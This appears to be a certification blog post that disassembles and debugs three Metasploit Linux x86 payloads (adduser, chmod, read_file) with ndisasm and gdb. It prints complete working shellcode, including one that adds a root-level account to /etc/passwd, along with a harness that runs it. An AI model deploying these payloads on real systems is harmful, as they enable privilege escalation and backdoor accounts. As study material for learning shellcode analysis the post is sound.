This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-644
GitHub resource containing challenge files:
https://github.com/bl305/SLAE32
Local link to source files:
http://itfanatic.com/files/Challenge_05_Final.ZIP
Task: select and analyze 3 metasploit x86 shellcodes using ndisasm, libemu, gdb.
I have decided to analyze the following 3:
Selection method was the following. I have listed all the Linux x86 shellcodes from metasploit, eliminated the meterpreters and chose the first three that has not been already analyzed in the tutorials (e.g. execve has been).
Listed the candidates for analysis:
linux/x86/adduser Create a new user with UID 0 linux/x86/chmod Runs chmod on specified file with specified mode linux/x86/exec Execute an arbitrary command linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6 linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'. linux/x86/shell_find_port Spawn a shell on an established connection linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell
Analysis of "adduser"
First thing is to generate the shellcode in raw format for the ndisasm analysis.
msfvenom -p linux/x86/adduser user=SLAE32 pass=GOD -o myadduser1 No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Saved as: myadduser1
Disassembled the code using ndisasm:
ndisasm -u myadduser1
Output:
00000000 31C9 xor ecx,ecx ;zero out ECX register 00000002 89CB mov ebx,ecx ;zero out EBX register by moving 0 into it 00000004 6A46 push byte +0x46 ;put 0x46 onto the stack 00000006 58 pop eax ;read 0x46 into EAX 00000007 CD80 int 0x80 ;call syscall 0x46 which is setgid 00000009 6A05 push byte +0x5 ;put 0x5 on stack 0000000B 58 pop eax ;read 0x5 into EAX – will be syscall 0000000C 31C9 xor ecx,ecx ;zero out ECX 0000000E 51 push ecx ;put zero onto stack 0000000F 6873737764 push dword 0x64777373 ;put “sswd” 00000014 682F2F7061 push dword 0x61702f2f ;put “//pa” 00000019 682F657463 push dword 0x6374652f ;put “/etc” ;The whole thing together: „/etc/passwd“ 0000001E 89E3 mov ebx,esp ;save ESP into EBX 00000020 41 inc ecx ;increase ECX (will be 1) 00000021 B504 mov ch,0x4 ;put 0x4 into CH 00000023 CD80 int 0x80 ;call syscall 0x5 – “open” 00000025 93 xchg eax,ebx ;exchange the values in eax (0x5) and ebx (used to be ESP – see above) ;the garbage below is data, will be shown in the debugger in a readable format 00000026 E824000000 call dword 0x4f ;data 0000002B 53 push ebx ;data 0000002C 4C dec esp ;data 0000002D 41 inc ecx ;data 0000002E 45 inc ebp ;data 0000002F 3332 xor esi,[edx] ;data 00000031 3A417A cmp al,[ecx+0x7a] ;data 00000034 69796D77447579 imul edi,[ecx+0x6d],dword 0x79754477 ;data 0000003B 357A6B323A xor eax,0x3a326b7a ;data 00000040 303A xor [edx],bh ;data 00000042 303A xor [edx],bh ;data 00000044 3A2F cmp ch,[edi] ;data 00000046 3A2F cmp ch,[edi] ;data 00000048 62696E bound ebp,[ecx+0x6e] ;data 0000004B 2F das ;data 0000004C 7368 jnc 0xb6 ;data 0000004E 0A598B or bl,[ecx-0x75] ;data 00000051 51 push ecx ;data 00000052 FC cld ;data 00000053 6A04 push byte +0x4 ;put 0x4 onto stack 00000055 58 pop eax ;read stack into EAX=0x4 00000056 CD80 int 0x80 ;syscall to write file 0x4 00000058 6A01 push byte +0x1 ;push 0x1 onto stack 0000005A 58 pop eax ;read stack into EAX 0000005B CD80 int 0x80 ;syscall “exit”
Determining syscalls:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48
Decoding hex strings to ASCII using Perl:
perl -le 'print map {chr hex} qw/ 63 74 65 2f/'
OR
echo "63 74 65 2f"|perl -nE 'say map{chr(hex)} split'
Using this the output will be “cte/” -> which will be “/etc” because of little-endian
Generate payload for GDB:
msfvenom -p linux/x86/adduser user=SLAE32 pass=GOD -f c -o myadduser2.c
Output:
No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Saved as: myadduser2.c
cat myadduser2.c
Output:
unsigned char buf[] = "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51" "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63" "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x53\x4c" "\x41\x45\x33\x32\x3a\x41\x7a\x69\x79\x6d\x77\x44\x75\x79\x35" "\x7a\x6b\x32\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e" "\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01" "\x58\xcd\x80";
Script to put the generated C code into a “C” source and compile it:
#!/bin/bash echo 'Usage: CH05_compile.sh shellcode' echo '[+] Read code ...' echo '[+] Assemble shellcode C ...' echo "#include<stdio.h>" >shellcode.c echo "#include<string.h>" >>shellcode.c cat $1 >> shellcode.c echo "main()" >>shellcode.c echo "{" >>shellcode.c echo "printf(\"Shellcode Length: %d\n\", strlen(buf));" >>shellcode.c echo " int (*ret)() = (int(*)())buf;" >>shellcode.c echo " ret();" >>shellcode.c echo "}" >>shellcode.c echo '[+] Compile shellcode.c' gcc -fno-stack-protector -z execstack shellcode.c -o shellcode echo '[+] Done!'
Using GDB to analyze code:
root@kali:~/Challenge05# gdb shellcode GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/Challenge05/shellcode...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break *&buf Breakpoint 1 at 0x8049700 (gdb) run Starting program: /root/Challenge05/shellcode Shellcode Length: 40 Breakpoint 1, 0x08049700 in buf () (gdb) disassemble Dump of assembler code for function buf: => 0x08049700 <+0>: xor ecx,ecx 0x08049702 <+2>: mov ebx,ecx 0x08049704 <+4>: push 0x46 0x08049706 <+6>: pop eax 0x08049707 <+7>: int 0x80 0x08049709 <+9>: push 0x5 0x0804970b <+11>: pop eax 0x0804970c <+12>: xor ecx,ecx 0x0804970e <+14>: push ecx 0x0804970f <+15>: push 0x64777373 0x08049714 <+20>: push 0x61702f2f 0x08049719 <+25>: push 0x6374652f 0x0804971e <+30>: mov ebx,esp 0x08049720 <+32>: inc ecx 0x08049721 <+33>: mov ch,0x4 0x08049723 <+35>: int 0x80 0x08049725 <+37>: xchg ebx,eax 0x08049726 <+38>: call 0x804974f <buf+79> 0x0804972b <+43>: push ebx 0x0804972c <+44>: dec esp 0x0804972d <+45>: inc ecx 0x0804972e <+46>: inc ebp 0x0804972f <+47>: xor esi,DWORD PTR [edx] 0x08049731 <+49>: cmp al,BYTE PTR [ecx+0x7a] 0x08049734 <+52>: imul edi,DWORD PTR [ecx+0x6d],0x79754477 0x0804973b <+59>: xor eax,0x3a326b7a 0x08049740 <+64>: xor BYTE PTR [edx],bh 0x08049742 <+66>: xor BYTE PTR [edx],bh 0x08049744 <+68>: cmp ch,BYTE PTR [edi] 0x08049746 <+70>: cmp ch,BYTE PTR [edi] 0x08049748 <+72>: bound ebp,QWORD PTR [ecx+0x6e] 0x0804974b <+75>: das 0x0804974c <+76>: jae 0x80497b6 0x0804974e <+78>: or bl,BYTE PTR [ecx-0x75] ---Type <return> to continue, or q <return> to quit--- 0x08049751 <+81>: push ecx 0x08049752 <+82>: cld 0x08049753 <+83>: push 0x4 0x08049755 <+85>: pop eax 0x08049756 <+86>: int 0x80 0x08049758 <+88>: push 0x1 0x0804975a <+90>: pop eax 0x0804975b <+91>: int 0x80 0x0804975d <+93>: add BYTE PTR [eax],al End of assembler dump. (gdb)
At this point I have defined a hook-stop and display variables to be able to follow the flow of the program:
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >disassemble >end (gdb) display /4s $esp 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b(" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b" (gdb) display /x $edx 2: /x $edx = 0xb7fbf360 (gdb) display /x $ecx 3: /x $ecx = 0xbffff4a8 (gdb) display /x $ebx 4: /x $ebx = 0xb7fbdff4 (gdb) display /x $eax 5: /x $eax = 0x8049700
I have also set up breakpoints at the "int" interrupts, so syscalls can be analyzed:
(gdb) break *0x08049707 Breakpoint 2 at 0x8049707 (gdb) break *0x08049723 Breakpoint 3 at 0x8049723 (gdb) break *0x08049756 Breakpoint 4 at 0x8049756 (gdb) break *0x0804975b Breakpoint 5 at 0x804975b
First break was at the syscall 0x46=70 which is the setgid.
(gdb) c Dump of assembler code for function buf: 0x08049700 <+0>: xor ecx,ecx 0x08049702 <+2>: mov ebx,ecx 0x08049704 <+4>: push 0x46 0x08049706 <+6>: pop eax => 0x08049707 <+7>: int 0x80 Breakpoint 2, 0x08049707 in buf () 5: /x $eax = 0x46 4: /x $ebx = 0x0 3: /x $ecx = 0x0 2: /x $edx = 0xb7fbf360 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b(" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
Second break was at the file open (/etc/passwd):
Breakpoint 3, 0x08049723 in buf () 5: /x $eax = 0x5 4: /x $ebx = 0xbffff4ac 3: /x $ecx = 0x401 2: /x $edx = 0xb7fbf360 1: x/4s $esp 0xbffff4ac: "/etc//passwd" 0xbffff4b9: "" 0xbffff4ba: "" 0xbffff4bb: ""
Looking at the next memory address we can identify the string that will be inserted into the "/etc/passwd" (only interesting till the \n character):
0x8049725 <buf+37>: "\223\350$" 0x8049729 <buf+41>: "" 0x804972a <buf+42>: "" 0x804972b <buf+43>: "SLAE32:AziymwDuy5zk2:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"
x/4s 0x08049725 0x8049725 <buf+37>: "\223\350$" 0x8049729 <buf+41>: "" 0x804972a <buf+42>: "" 0x804972b <buf+43>: "SLAE32:AziymwDuy5zk2:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"
Break four was the file write:
Breakpoint 4, 0x08049756 in buf () 5: /x $eax = 0x4 4: /x $ebx = 0x7 3: /x $ecx = 0x804972b 2: /x $edx = 0x24 1: x/4s $esp 0xbffff4ac: "/etc//passwd" 0xbffff4b9: "" 0xbffff4ba: "" 0xbffff4bb: ""
Break five was the exit:
Breakpoint 5, 0x0804975b in buf () 5: /x $eax = 0x1 4: /x $ebx = 0x7 3: /x $ecx = 0x804972b 2: /x $edx = 0x24 1: x/4s $esp 0xbffff4ac: "/etc//passwd" 0xbffff4b9: "" 0xbffff4ba: "" 0xbffff4bb: "" (gdb) c Continuing. [Inferior 1 (process 12718) exited with code 07]
Result is a new line in the /etc/passwd:
tail /etc/passwd
Output:
iodine:x:117:65534::/var/run/iodine:/bin/false postgres:x:118:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash redsocks:x:119:128::/var/run/redsocks:/bin/false stunnel4:x:120:129::/var/run/stunnel4:/bin/false statd:x:121:65534::/var/lib/nfs:/bin/false sslh:x:122:132::/nonexistent:/bin/false Debian-gdm:x:123:133:Gnome Display Manager:/var/lib/gdm3:/bin/false rtkit:x:124:134:RealtimeKit,,,:/proc:/bin/false saned:x:125:135::/home/saned:/bin/false SLAE32:AziymwDuy5zk2:0:0::/:/bin/sh
Analysis of "chmod"
Got available arguments for the chmod payload
msfvenom -p linux/x86/chmod --payload-options
Output:
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILE /etc/shadow yes Filename to chmod MODE 0666 yes File mode (octal)
Created a test file for the shellcode to play with:
touch test.txt chown 777 test.txt ls -l -rwxrwxrwx 1 root root 0 May 28 07:44 test.txt
Generated the shellcode using the test file:
msfvenom -p linux/x86/chmod FILE=test.txt MODE=0666 -o mychmod1
Output:
No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Saved as: mychmod1
Used ndisasm to disassemble:
ndisasm -u mychmod1
Output:
00000000 99 cdq ;sign-extend EAX into EDX:EAX 00000001 6A0F push byte +0xf ;push 0xf=15 onto stack -> will be syscall “chmod” 00000003 58 pop eax ;read oxf into EAX 00000004 52 push edx ;put EDX (0?) onto stack 00000005 E809000000 call dword 0x13 ;do magic 0000000A 7465 jz 0x71 ;do magic 0000000C 7374 jnc 0x82 ;do magic 0000000E 2E7478 cs jz 0x89 ;do magic 00000011 7400 jz 0x13 ;do magic 00000013 5B pop ebx ;do magic 00000014 68B6010000 push dword 0x1b6 ;do magic 00000019 59 pop ecx ;do magic 0000001A CD80 int 0x80 ;call syscall chmod 0000001C 6A01 push byte +0x1 ;put 0x1 on stack 0000001E 58 pop eax ;read into EAX 0x1=exit 0000001F CD80 int 0x80 ;call syscall exit
Determine syscalls
less /usr/include/i386-linux-gnu/asm/unistd_32.h
Output:
#define __NR_exit 1 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16
Decode hex strings to ASCII
perl -le 'print map {chr hex} qw/ 0f/'
OR
echo "0f"|perl -nE 'say map{chr(hex)} split'
Output:
“cte/” -> which will be “/etc” because of little endian
Generate payload for GDB analysis:
msfvenom -p linux/x86/chmod FILE=test.txt MODE=0666 -f c -o mychmod2.c
Output:
No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Saved as: mychmod2.c
Show contents or the generated file:
cat mychmod2.c unsigned char buf[] = "\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x74\x65\x73\x74\x2e" "\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01" "\x58\xcd\x80";
Script to put the generated C code into a “C” source and compile:
#!/bin/bash echo 'Usage: CH05_compile.sh shellcode' echo '[+] Read code ...' echo '[+] Assemble shellcode C ...' echo "#include<stdio.h>" >shellcode.c echo "#include<string.h>" >>shellcode.c cat $1 >> shellcode.c echo "main()" >>shellcode.c echo "{" >>shellcode.c echo "printf(\"Shellcode Length: %d\n\", strlen(buf));" >>shellcode.c echo " int (*ret)() = (int(*)())buf;" >>shellcode.c echo " ret();" >>shellcode.c echo "}" >>shellcode.c echo '[+] Compile shellcode.c' gcc -fno-stack-protector -z execstack shellcode.c -o shellcode echo '[+] Done!'
Debug the code using GDB
gdb shellcode GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/Challenge05/shellcode...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break *&buf Breakpoint 1 at 0x8049700 (gdb) run Starting program: /root/Challenge05/shellcode Shellcode Length: 7 Breakpoint 1, 0x08049700 in buf () (gdb) disassemble Dump of assembler code for function buf: => 0x08049700 <+0>: cdq 0x08049701 <+1>: push 0xf 0x08049703 <+3>: pop eax 0x08049704 <+4>: push edx 0x08049705 <+5>: call 0x8049713 <buf+19> 0x0804970a <+10>: je 0x8049771 0x0804970c <+12>: jae 0x8049782 0x0804970e <+14>: cs 0x0804970f <+15>: je 0x8049789 0x08049711 <+17>: je 0x8049713 <buf+19> 0x08049713 <+19>: pop ebx 0x08049714 <+20>: push 0x1b6 0x08049719 <+25>: pop ecx 0x0804971a <+26>: int 0x80 0x0804971c <+28>: push 0x1 0x0804971e <+30>: pop eax 0x0804971f <+31>: int 0x80 0x08049721 <+33>: add BYTE PTR [eax],al End of assembler dump. (gdb)
Define hook-stop to show disassembly
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >disassemble >end
Define display values of registers to follow events:
(gdb) display /4s $esp 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b\a" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b" (gdb) display /x $edx 2: /x $edx = 0xb7fbf360 (gdb) display /x $ecx 3: /x $ecx = 0xbffff4a8 (gdb) display /x $ebx 4: /x $ebx = 0xb7fbdff4 (gdb) display /x $eax 5: /x $eax = 0x8049700
Break before "int" interrupts to analyze syscalls:
(gdb) break *0x0804971a Breakpoint 2 at 0x804971a (gdb) break *0x0804971f Breakpoint 3 at 0x804971f
First break at the syscall 0xf=15 which is the chmod
(gdb) c Breakpoint 2, 0x0804971a in buf () 5: /x $eax = 0xf 4: /x $ebx = 0x804970a 3: /x $ecx = 0x1b6 2: /x $edx = 0x0 1: x/4s $esp 0xbffff4b8: "" 0xbffff4b9: "" 0xbffff4ba: "" 0xbffff4bb: ""
To figure out which file is in scope for chmod:
(gdb) x/1s $ebx 0x804970a <buf+10>: "test.txt"
Break two is the exit:
Breakpoint 3, 0x0804971f in buf () 5: /x $eax = 0x1 4: /x $ebx = 0x804970a 3: /x $ecx = 0x1b6 2: /x $edx = 0x0 1: x/4s $esp 0xbffff4b8: "" 0xbffff4b9: "" 0xbffff4ba: "" 0xbffff4bb: "" (gdb) c Continuing. [Inferior 1 (process 13006) exited with code 012]
Check the results:
ls –l -rw-rw-rw- 1 root root 0 May 28 07:44 test.txt
Everything operates as expected!
Analysis of "read_file"
Get available arguments for payload:
msfvenom -p linux/x86/read_file --payload-options
Output:
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FD 1 yes The file descriptor to write output to PATH yes The file path to read
Create test file:
echo “read this” > /tmp/test.txt cat /tmp/test.txt
Output:
“read this”
Generate code for ndisasm, raw output:
msfvenom -p linux/x86/read_file PATH=/tmp/test.txt -o myread1
Output:
No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Saved as: myread1
Analyze code:
ndisasm -u myread1
Output:
00000000 EB36 jmp short 0x38 00000002 B805000000 mov eax,0x5 ;set EAX=0x5 “open” file 00000007 5B pop ebx ;read stack into EBX 00000008 31C9 xor ecx,ecx ;zero out ecx 0000000A CD80 int 0x80 ;syscall “open file” 0000000C 89C3 mov ebx,eax ;put EAX into EBX 0000000E B803000000 mov eax,0x3 ;put 0x3 into EAX, this will be file read 00000013 89E7 mov edi,esp ;move ESP into EDI 00000015 89F9 mov ecx,edi ;move EDI into ECX 00000017 BA00100000 mov edx,0x1000 ;move 0x1000 into EDX 0000001C CD80 int 0x80 ;call file read syscall 0000001E 89C2 mov edx,eax ;move EAX into EDX 00000020 B804000000 mov eax,0x4 ;move 0x4 into EAX, this will be a file write syscall 00000025 BB01000000 mov ebx,0x1 ;move 0x1 into EBX 0000002A CD80 int 0x80 ;call syscall file write 0000002C B801000000 mov eax,0x1 ;move 0x1 into EAX, this will be exit syscall 00000031 BB00000000 mov ebx,0x0 ;zero out EBX 00000036 CD80 int 0x80 ;call exit syscall 00000038 E8C5FFFFFF call dword 0x2 ;data 0000003D 2F das ;data 0000003E 746D jz 0xad ;data 00000040 702F jo 0x71 ;data 00000042 7465 jz 0xa9 ;data 00000044 7374 jnc 0xba ;data 00000046 2E7478 cs jz 0xc1 ;data 00000049 7400 jz 0x4b ;data
Determine syscalls:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
Output:
#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 MAN PAGES for syscalls: READ(2) Linux Programmer's Manual READ(2) NAME read - read from a file descriptor SYNOPSIS #include <unistd.h> ssize_t read(int fd, void *buf, size_t count); DESCRIPTION read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf. If count is zero, read() returns zero and has no other results. If count is greater than SSIZE_MAX, the result is unspecified. WRITE(2) Linux Programmer's Manual WRITE(2) NAME write - write to a file descriptor SYNOPSIS #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count); DESCRIPTION write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd. OPEN(2) Linux Programmer's Manual OPEN(2) NAME open, creat - open and possibly create a file or device SYNOPSIS #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode); int creat(const char *pathname, mode_t mode); DESCRIPTION Given a pathname for a file, open() returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(2), write(2), lseek(2), fcntl(2), etc.). The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process. By default, the new file descriptor is set to remain open across an execve(2) (i.e., the FD_CLOEXEC file descriptor flag described in fcntl(2) is initially disabled; the O_CLOEXEC flag, described below, can be used to change this default). The file offset is set to the beginning of the file (see lseek(2)).
Decode hex strings to ASCII
perl -le 'print map {chr hex} qw/ 0f/'
OR
echo "0f"|perl -nE 'say map{chr(hex)} split'
Generate payload for GDB analysis:
msfvenom -p linux/x86/read_file PATH=/tmp/test.txt -f c -o myread2.c
Output:
No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Saved as: myread2.c
Check contents:
cat myread2.c unsigned char buf[] = "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8" "\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80" "\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8" "\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff" "\xff\x2f\x74\x6d\x70\x2f\x74\x65\x73\x74\x2e\x74\x78\x74\x00";
Script to put the generated C code into a “C” source and compile it:
#!/bin/bash echo 'Usage: CH05_compile.sh shellcode' echo '[+] Read code ...' echo '[+] Assemble shellcode C ...' echo "#include<stdio.h>" >shellcode.c echo "#include<string.h>" >>shellcode.c cat $1 >> shellcode.c echo "main()" >>shellcode.c echo "{" >>shellcode.c echo "printf(\"Shellcode Length: %d\n\", strlen(buf));" >>shellcode.c echo " int (*ret)() = (int(*)())buf;" >>shellcode.c echo " ret();" >>shellcode.c echo "}" >>shellcode.c echo '[+] Compile shellcode.c' gcc -fno-stack-protector -z execstack shellcode.c -o shellcode echo '[+] Done!'
Debud using GDB:
gdb shellcode GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/Challenge05/shellcode...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break *&buf Breakpoint 1 at 0x8049700 (gdb) run Starting program: /root/Challenge05/shellcode Shellcode Length: 4 Breakpoint 1, 0x08049700 in buf () (gdb) disassemble Dump of assembler code for function buf: => 0x08049700 <+0>: jmp 0x8049738 <buf+56> 0x08049702 <+2>: mov eax,0x5 0x08049707 <+7>: pop ebx 0x08049708 <+8>: xor ecx,ecx 0x0804970a <+10>: int 0x80 0x0804970c <+12>: mov ebx,eax 0x0804970e <+14>: mov eax,0x3 0x08049713 <+19>: mov edi,esp 0x08049715 <+21>: mov ecx,edi 0x08049717 <+23>: mov edx,0x1000 0x0804971c <+28>: int 0x80 0x0804971e <+30>: mov edx,eax 0x08049720 <+32>: mov eax,0x4 0x08049725 <+37>: mov ebx,0x1 0x0804972a <+42>: int 0x80 0x0804972c <+44>: mov eax,0x1 0x08049731 <+49>: mov ebx,0x0 0x08049736 <+54>: int 0x80 0x08049738 <+56>: call 0x8049702 <buf+2> 0x0804973d <+61>: das 0x0804973e <+62>: je 0x80497ad 0x08049740 <+64>: jo 0x8049771 0x08049742 <+66>: je 0x80497a9 0x08049744 <+68>: jae 0x80497ba 0x08049746 <+70>: cs 0x08049747 <+71>: je 0x80497c1 0x08049749 <+73>: je 0x804974b <buf+75> 0x0804974b <+75>: add BYTE PTR [eax],al End of assembler dump. (gdb)
Set up a hook stop to disassamble:
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >disassemble >end
Set up display to monitor registers and stack:
(gdb) display /4s $esp 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b\004" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b" (gdb) display /x $edx 2: /x $edx = 0xb7fbf360 (gdb) display /x $ecx 3: /x $ecx = 0xbffff4a8 (gdb) display /x $ebx 4: /x $ebx = 0xb7fbdff4 (gdb) display /x $eax 5: /x $eax = 0x8049700
Set up breakpoints for the syscalls:
(gdb) break *0x0804970a Breakpoint 2 at 0x804970a (gdb) break *0x0804971c Breakpoint 3 at 0x804971c (gdb) break *0x0804972a Breakpoint 4 at 0x804972a (gdb) break *0x08049736 Breakpoint 5 at 0x8049736
First break at the syscall 0x5=5 which is the open file
(gdb) c Breakpoint 2, 0x0804970a in buf () 5: /x $eax = 0x5 4: /x $ebx = 0x804973d ---Type <return> to continue, or q <return> to quit--- 3: /x $ecx = 0x0 2: /x $edx = 0xb7fbf360 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b\004" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
To figure out which file is in scope for open:
(gdb) x/1s $ebx 0x804973d <buf+61>: "/tmp/test.txt"
Break two is the file read:
Breakpoint 3, 0x0804971c in buf () 5: /x $eax = 0x3 4: /x $ebx = 0x7 ---Type <return> to continue, or q <return> to quit--- 3: /x $ecx = 0xbffff4bc 2: /x $edx = 0x1000 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b\004" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
We read the file contents into a buffer (ECX).
Break three is file write:
Breakpoint 4, 0x0804972a in buf () 5: /x $eax = 0x4 4: /x $ebx = 0x1 ---Type <return> to continue, or q <return> to quit--- 3: /x $ecx = 0xbffff4bc 2: /x $edx = 0xfffffff2 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b\004" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
We write the contents out to buffer.
Breakpoint four is the exit:
Breakpoint 5, 0x08049736 in buf () 5: /x $eax = 0x1 4: /x $ebx = 0x0 ---Type <return> to continue, or q <return> to quit--- 3: /x $ecx = 0xbffff4bc 2: /x $edx = 0xfffffff2 1: x/4s $esp 0xbffff4bc: "\177\204\004\b \205\004\b\004" 0xbffff4c6: "" 0xbffff4c7: "" 0xbffff4c8: "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
Results of program execution:
/root/Challenge05/shellcode Shellcode Length: 4 “read this”
Which is exactly what was expected.
###########################